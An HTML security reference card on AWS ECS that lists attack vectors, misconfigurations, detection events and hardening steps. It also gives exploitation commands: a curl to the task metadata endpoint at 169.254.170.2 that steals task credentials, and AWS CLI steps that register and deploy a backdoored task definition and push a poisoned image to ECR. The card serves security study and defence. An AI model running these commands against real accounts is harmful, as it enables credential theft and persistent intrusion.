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<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>AWS ECS Security | AWS Security Cards</title>
<meta name="description" content="Elastic Container Service (ECS) orchestrates Docker containers on AWS. Task roles provide AWS credentials to containers. Privileged containers and metadata endpoints are key attack vectors.">
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</head>
<body>
<!-- Card Image -->
<div class="card-image">
<img src="../images/ecs-card.webp" alt="AWS ECS Security" />
</div>
<!-- Header -->
<div class="header">
<div class="header-content">
<div class="header-icon"><img src="../icons/ecs.svg" alt="AWS ECS Security" /></div>
<div>
<div>
<span class="header-title">AWS ECS Security</span>
<span class="header-badge">CONTAINERS</span>
</div>
<p class="header-desc">Elastic Container Service (ECS) orchestrates Docker containers on AWS. Task roles provide AWS credentials to containers. Privileged containers and metadata endpoints are key attack vectors.</p>
</div>
</div>
</div>
<!-- Stats -->
<div class="stats-row">
<div class="stat-card">
<div class="stat-value" style="color: #f87171;">CRITICAL</div>
<div class="stat-label">Risk Level</div>
</div>
<div class="stat-card">
<div class="stat-value" style="color: #4ade80;">Fargate</div>
<div class="stat-label">Or EC2</div>
</div>
<div class="stat-card">
<div class="stat-value" style="color: #60a5fa;">Tasks</div>
<div class="stat-label">Unit of Work</div>
</div>
<div class="stat-card">
<div class="stat-value" style="color: #c084fc;">IAM</div>
<div class="stat-label">Task Roles</div>
</div></div>
<!-- Overview -->
<div class="section"><h2><span style="color:#f97316;">📋</span> Service Overview</h2><div class="overview-grid">
<div>
<h4 style="color: #f97316;">EC2 Launch Type</h4>
<p>Containers run on EC2 instances you manage. Full control over underlying infrastructure. ECS agent manages container placement and lifecycle.</p>
<div class="attack-note"><span style="color:#f97316;">Attack note:</span> Container escape gives access to EC2 instance role and all containers on node</div>
</div>
<div>
<h4 style="color: #f97316;">Fargate Launch Type</h4>
<p>Serverless container execution. AWS manages infrastructure. More isolated but still vulnerable to task role abuse and metadata attacks.</p>
<div class="attack-note"><span style="color:#f97316;">Attack note:</span> Task metadata endpoint (169.254.170.2) exposes credentials without IMDSv2 protection</div>
</div></div></div>
<!-- Risk Assessment -->
<div class="section">
<h2>Security Risk Assessment</h2>
<div class="risk-gauge">
<div class="risk-bar-container">
<div class="risk-bar">
<div class="risk-bar-fill" style="width: 85%;"></div>
</div>
<div class="risk-labels"><span>Low</span><span>Medium</span><span>High</span><span>Critical</span></div>
</div>
<div class="risk-score">
<div class="risk-score-value">8.5</div>
<div class="risk-score-label">Risk Score</div>
</div>
</div>
<p class="risk-desc">ECS container compromise leads to task role credential theft. Privileged containers enable escape to host. ECR image poisoning can backdoor entire deployments.</p>
</div>
<!-- Main Panels -->
<div class="panels-grid">
<div class="panel" style="border-color: #f8717133;">
<h3 style="color: #f87171;">⚔️ Attack Vectors</h3><h4 style="color: #f87171;">Container Attacks</h4><ul><li><span class="bullet" style="color: #f87171;">•</span> Over-privileged task roles</li><li><span class="bullet" style="color: #f87171;">•</span> Privileged container escape</li><li><span class="bullet" style="color: #f87171;">•</span> Task metadata service (169.254.170.2)</li><li><span class="bullet" style="color: #f87171;">•</span> Secrets in environment variables</li><li><span class="bullet" style="color: #f87171;">•</span> Vulnerable container images</li></ul><h4 style="color: #f87171;">Infrastructure Attacks</h4><ul><li><span class="bullet" style="color: #f87171;">•</span> EC2 instance role via container escape</li><li><span class="bullet" style="color: #f87171;">•</span> ECR image poisoning</li><li><span class="bullet" style="color: #f87171;">•</span> Task definition manipulation</li><li><span class="bullet" style="color: #f87171;">•</span> Service hijacking via update</li><li><span class="bullet" style="color: #f87171;">•</span> Sidecar container injection</li></ul></div>
<div class="panel" style="border-color: #fb923c33;">
<h3 style="color: #fb923c;">⚠️ Misconfigurations</h3><h4 style="color: #fb923c;">Task Definition Issues</h4><ul><li><span class="bullet" style="color: #fb923c;">•</span> Task role with admin access</li><li><span class="bullet" style="color: #fb923c;">•</span> privileged: true in container def</li><li><span class="bullet" style="color: #fb923c;">•</span> Hardcoded secrets in environment</li><li><span class="bullet" style="color: #fb923c;">•</span> No readonlyRootFilesystem</li><li><span class="bullet" style="color: #fb923c;">•</span> Running as root user</li></ul><h4 style="color: #fb923c;">Cluster Issues</h4><ul><li><span class="bullet" style="color: #fb923c;">•</span> Public ECR repositories</li><li><span class="bullet" style="color: #fb923c;">•</span> No network mode isolation (bridge)</li><li><span class="bullet" style="color: #fb923c;">•</span> Disabled CloudWatch logging</li><li><span class="bullet" style="color: #fb923c;">•</span> No image scanning on push</li><li><span class="bullet" style="color: #fb923c;">•</span> Missing Container Insights</li></ul></div>
<div class="panel" style="border-color: #22d3ee33;">
<h3 style="color: #22d3ee;">🔍 Enumeration</h3>
<div class="cmd-block">
<div class="cmd-title">List Clusters</div>
<pre><code>aws ecs list-clusters</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">List Services</div>
<pre><code>aws ecs list-services --cluster my-cluster</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">Get Task Definition</div>
<pre><code>aws ecs describe-task-definition \\
--task-definition my-task</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">Steal Task Creds (from container)</div>
<pre><code>curl http://169.254.170.2\\
$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI</code></pre>
</div></div>
<div class="panel" style="border-color: #c084fc33;">
<h3 style="color: #c084fc;">📈 Privilege Escalation</h3><h4 style="color: #c084fc;">Credential Theft</h4><ul><li><span class="bullet" style="color: #c084fc;">•</span> Steal task role credentials via metadata</li><li><span class="bullet" style="color: #c084fc;">•</span> Access EC2 instance profile (EC2 launch)</li><li><span class="bullet" style="color: #c084fc;">•</span> Extract secrets from environment</li><li><span class="bullet" style="color: #c084fc;">•</span> Read mounted secrets volumes</li><li><span class="bullet" style="color: #c084fc;">•</span> Intercept inter-container traffic</li></ul><h4 style="color: #c084fc;">Container Escape</h4><ul><li><span class="bullet" style="color: #c084fc;">•</span> Privileged container → host access</li><li><span class="bullet" style="color: #c084fc;">•</span> hostPath volume mounts</li><li><span class="bullet" style="color: #c084fc;">•</span> CAP_SYS_ADMIN abuse</li><li><span class="bullet" style="color: #c084fc;">•</span> Docker socket mount exploitation</li><li><span class="bullet" style="color: #c084fc;">•</span> Kernel exploits from container</li></ul><div class="note"><strong>Key Target:</strong> Task metadata endpoint at 169.254.170.2 provides credentials without IMDSv2 hop limit protection.</div></div>
<div class="panel" style="border-color: #facc1533;">
<h3 style="color: #facc15;">🔗 Persistence</h3><h4 style="color: #facc15;">Container Persistence</h4><ul><li><span class="bullet" style="color: #facc15;">•</span> Backdoor container image in ECR</li><li><span class="bullet" style="color: #facc15;">•</span> Register malicious task definition</li><li><span class="bullet" style="color: #facc15;">•</span> Add sidecar container for C2</li><li><span class="bullet" style="color: #facc15;">•</span> Modify entrypoint/command</li><li><span class="bullet" style="color: #facc15;">•</span> Create scheduled ECS task</li></ul><h4 style="color: #facc15;">Infrastructure Persistence</h4><ul><li><span class="bullet" style="color: #facc15;">•</span> Update service with backdoored task</li><li><span class="bullet" style="color: #facc15;">•</span> Modify launch template for EC2 instances</li><li><span class="bullet" style="color: #facc15;">•</span> Add persistence to EFS mounts</li><li><span class="bullet" style="color: #facc15;">•</span> Poison base images in ECR</li><li><span class="bullet" style="color: #facc15;">•</span> EventBridge rule to maintain access</li></ul></div>
<div class="panel" style="border-color: #4ade8033;">
<h3 style="color: #4ade80;">🛡️ Detection</h3><h4 style="color: #4ade80;">CloudTrail Events</h4><ul><li><span class="bullet" style="color: #4ade80;">•</span> RunTask - task executed</li><li><span class="bullet" style="color: #4ade80;">•</span> RegisterTaskDefinition - new task def</li><li><span class="bullet" style="color: #4ade80;">•</span> UpdateService - service modified</li><li><span class="bullet" style="color: #4ade80;">•</span> DescribeTaskDefinition - recon</li><li><span class="bullet" style="color: #4ade80;">•</span> CreateService - new service created</li></ul><h4 style="color: #4ade80;">Indicators of Compromise</h4><ul><li><span class="bullet" style="color: #4ade80;">•</span> Task role credentials used outside ECS</li><li><span class="bullet" style="color: #4ade80;">•</span> New task definitions registered</li><li><span class="bullet" style="color: #4ade80;">•</span> Service updates to different images</li><li><span class="bullet" style="color: #4ade80;">•</span> ECR image pushes from unknown sources</li><li><span class="bullet" style="color: #4ade80;">•</span> Container Insights anomalies</li></ul></div></div>
<!-- Exploitation -->
<div class="section"><h2><span style="color:#f87171;">💻</span> Exploitation Commands</h2><div class="cmd-grid">
<div class="cmd-block">
<div class="cmd-title">Register Malicious Task Definition</div>
<pre><code>aws ecs register-task-definition \\
--cli-input-json file://backdoor-task.json</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">Update Service with Backdoor</div>
<pre><code>aws ecs update-service \\
--cluster my-cluster \\
--service my-service \\
--task-definition backdoor-task:1</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">Run One-Off Malicious Task</div>
<pre><code>aws ecs run-task \\
--cluster my-cluster \\
--task-definition backdoor-task \\
--launch-type FARGATE</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">Get Task Metadata (from container)</div>
<pre><code>curl ${ECS_CONTAINER_METADATA_URI_V4}/task</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">Steal Task Credentials (from container)</div>
<pre><code>curl http://169.254.170.2\\
$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">Push Backdoored Image to ECR</div>
<pre><code>docker tag backdoor:latest \\
123456789012.dkr.ecr.us-east-1.amazonaws.com/app:latest
docker push ...</code></pre>
</div></div></div>
<!-- Policies -->
<div class="section"><h2><span style="color:#4ade80;">📜</span> Policy Examples</h2><div class="policy-grid">
<div class="policy-card" style="border-color: #ef444433; background: rgba(239,68,68,0.05);">
<div class="policy-header">
<span style="color: #f87171; font-size: 1.2em;">✗</span>
<span style="color: #f87171; font-weight: 600;">Dangerous - Insecure Task Definition</span>
</div>
<pre><code>{
"taskRoleArn": "arn:aws:iam::123456789012:role/AdminRole",
"containerDefinitions": [{
"privileged": true,
"user": "root",
"environment": [
{"name": "DB_PASSWORD", "value": "hardcoded123"}
]
}]
}
// Privileged, root, hardcoded secrets</code></pre>
<p class="policy-desc">Privileged container, root user, hardcoded secrets - full compromise</p>
</div>
<div class="policy-card" style="border-color: #22c55e33; background: rgba(34,197,94,0.05);">
<div class="policy-header">
<span style="color: #4ade80; font-size: 1.2em;">✓</span>
<span style="color: #4ade80; font-weight: 600;">Secure - Hardened Task Definition</span>
</div>
<pre><code>{
"taskRoleArn": "arn:aws:iam::123456789012:role/LeastPrivilege",
"containerDefinitions": [{
"privileged": false,
"user": "1000:1000",
"readonlyRootFilesystem": true,
"secrets": [
{"name": "DB_PASSWORD",
"valueFrom": "arn:aws:secretsmanager:..."}
]
}]
}</code></pre>
<p class="policy-desc">Non-privileged, non-root, secrets from Secrets Manager</p>
</div></div></div>
<!-- Defenses -->
<div class="section"><h2><span style="color:#4ade80;">🛡️</span> Defense Recommendations</h2><div class="defense-grid">
<div class="defense-card">
<div class="defense-header">
<span class="defense-icon">🔐</span>
<div>
<h4>Least Privilege Task Roles</h4>
<p>Scope task roles to exact permissions needed for the workload.</p>
<pre><code>"Resource": "arn:aws:s3:::app-bucket/data/*"</code></pre>
</div>
</div>
</div>
<div class="defense-card">
<div class="defense-header">
<span class="defense-icon">🚫</span>
<div>
<h4>Disable Privileged Mode</h4>
<p>Never run containers as privileged. Use readonlyRootFilesystem.</p>
<pre><code>"privileged": false,
"readonlyRootFilesystem": true</code></pre>
</div>
</div>
</div>
<div class="defense-card">
<div class="defense-header">
<span class="defense-icon">🔑</span>
<div>
<h4>Use Secrets Manager</h4>
<p>Never hardcode secrets in task definitions or environment variables.</p>
<pre><code>"secrets": [{"name": "DB_PASS",
"valueFrom": "arn:aws:secretsmanager:..."}]</code></pre>
</div>
</div>
</div>
<div class="defense-card">
<div class="defense-header">
<span class="defense-icon">🔍</span>
<div>
<h4>ECR Image Scanning</h4>
<p>Scan images for vulnerabilities on push to ECR.</p>
<pre><code>aws ecr put-image-scanning-configuration \\
--repository-name app \\
--image-scanning-configuration scanOnPush=true</code></pre>
</div>
</div>
</div>
<div class="defense-card">
<div class="defense-header">
<span class="defense-icon">🌐</span>
<div>
<h4>Use awsvpc Network Mode</h4>
<p>Isolate task networking with dedicated ENIs.</p>
<pre><code>"networkMode": "awsvpc"</code></pre>
</div>
</div>
</div>
<div class="defense-card">
<div class="defense-header">
<span class="defense-icon">📊</span>
<div>
<h4>Enable Container Insights</h4>
<p>Monitor container performance and security metrics.</p>
<pre><code>aws ecs update-cluster-settings \\
--cluster my-cluster \\
--settings name=containerInsights,value=enabled</code></pre>
</div>
</div>
</div></div></div>
<!-- Footer -->
<div class="footer">
<p>AWS ECS Security Card</p>
<p style="margin-top:0.25rem;">Always obtain proper authorization before testing</p>
</div>
</body>
</html>